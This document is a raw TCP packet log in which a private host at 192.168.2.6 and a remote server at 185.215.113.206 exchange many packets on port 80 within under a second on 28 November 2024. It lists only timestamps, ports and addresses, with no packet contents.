Nov 28, 2024 17:24:18.654198885 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.654222965 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.654268026 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.655232906 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.655358076 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.655373096 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.655606031 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.656107903 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.656152010 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.656203985 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.656241894 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.657049894 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.657105923 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.680427074 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.680447102 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.680552959 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.680804968 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.681062937 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.681124926 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.681168079 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.682182074 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.682195902 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.682252884 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.682277918 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.682941914 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.686723948 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.756795883 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.756876945 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.756887913 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.756959915 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.757354021 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.757399082 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.757435083 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.757474899 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.758579969 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.758677006 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.758708000 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.758764982 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.759526014 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.759588003 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.759671926 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.759723902 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.760519981 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.760560989 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.760710955 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.760806084 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.761574984 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.761651993 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.761773109 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.761814117 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.762468100 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.762521982 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.762690067 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.762787104 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.763436079 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.763448954 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.763487101 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.764303923 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.764342070 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.764398098 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.764496088 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.765114069 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.765126944 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.765177965 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.766139984 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.766187906 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.766290903 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.766431093 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.767469883 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.767527103 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.767564058 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.767656088 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.768429995 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.768471003 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.768512964 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.769309044 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.769351006 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.769398928 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.769515991 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.770307064 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.770416975 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.770762920 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.770803928 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.771514893 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.771528959 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.771568060 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.772527933 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.772603989 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.772654057 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.772744894 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.773492098 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.773575068 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.773669958 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.773715019 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.774393082 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.774463892 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.774468899 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.774744034 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.775415897 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.775473118 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.775556087 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.775592089 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.776221991 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.776288033 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.776324034 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.776437998 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.777127981 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.777344942 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.777390003 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.778096914 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.778142929 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.778233051 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.778274059 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.779006958 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.779093027 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.779124975 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.779149055 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.779717922 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.779777050 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.779781103 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.779818058 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.780518055 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.780592918 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.780632973 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.780673027 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.781270981 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.781317949 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.781332016 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.781375885 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.821305037 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.821389914 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.821422100 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.821571112 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.821707964 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.821785927 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.821805954 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.821871042 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.822550058 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.822601080 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.822617054 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.822666883 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.823307037 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.823328972 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.823353052 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.823399067 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.824063063 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.824146032 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.824157953 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.824376106 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.824975967 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.825028896 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.825181961 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.825226068 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.825961113 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.826006889 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.826070070 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.826123953 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.826854944 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.826905012 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.826936960 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.826977968 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.827613115 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.827660084 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.827672958 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.827711105 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.828350067 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.828413963 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.828546047 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.828591108 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.829194069 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.829241991 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.829262972 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.829358101 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.830020905 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.830080986 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.830202103 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.830245018 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.830708027 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.830759048 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.830780029 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.830831051 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.831522942 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.831572056 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.831820965 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.831864119 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.832329035 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.832377911 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.832405090 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.832475901 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.833116055 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.833162069 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.833184004 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.833218098 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.833792925 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.833851099 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.833964109 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.834017992 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.834650040 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.834712029 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.834763050 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.834805965 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.835480928 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.835572004 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.835630894 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.835673094 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.836251974 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.836297989 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.836379051 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.836422920 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.837097883 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.837172985 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.837173939 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.837212086 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.838009119 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.838052988 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.838063002 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.838097095 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.838792086 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.838845015 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.838965893 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.839015007 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.839615107 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.839767933 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.882513046 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.882570028 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.882574081 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.882709026 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.882824898 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.882877111 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.882895947 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.882966042 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.883709908 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.883728981 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.883757114 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.883769035 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.884442091 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.884490013 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.884526968 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.884654045 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.966330051 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.966391087 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.966399908 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.966463089 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.966531038 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.966595888 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.966624022 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.966664076 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.966753960 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.966865063 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.967396021 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.967442036 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.967534065 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.967582941 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.968286991 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.968338966 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.968415022 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.968463898 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.969080925 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.969131947 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.969208002 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.969254017 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.969922066 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.969971895 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.970057011 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.970101118 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.970943928 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.970988989 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.971174955 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.971226931 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.971903086 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.971998930 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.972023010 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.972064018 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.972693920 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.972740889 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.972759962 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.972800970 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.973563910 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.973611116 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.973697901 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.973803997 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.974499941 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.974569082 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.974589109 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.974647999 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.975450993 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.975497007 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.975567102 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.975629091 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.976372004 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.976406097 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.976453066 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.977025032 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.977072954 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.977189064 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.977284908 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.977726936 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.977814913 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.977823973 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.977874994 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.978458881 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.978506088 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.978544950 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.978585958 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.979269028 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.979321957 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.979414940 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.979459047 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.980031967 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.980077982 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.980144024 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.980189085 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.980856895 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.980904102 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.980958939 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.981008053 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.981642008 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.981786966 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.981837034 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.982552052 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.982598066 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.982636929 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.982681036 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.983417988 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.983464956 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.983511925 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.983556986 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.984184027 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.984239101 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.984273911 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.984318018 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.985114098 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.985160112 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.985232115 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.985338926 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.986114025 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.986160994 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.986205101 CET	80	49716	185.215.113.206	192.168.2.6
Nov 28, 2024 17:24:18.986248970 CET	49716	80	192.168.2.6	185.215.113.206
Nov 28, 2024 17:24:18.986861944 CET	80	49716	185.215.113.206	192.168.2.6
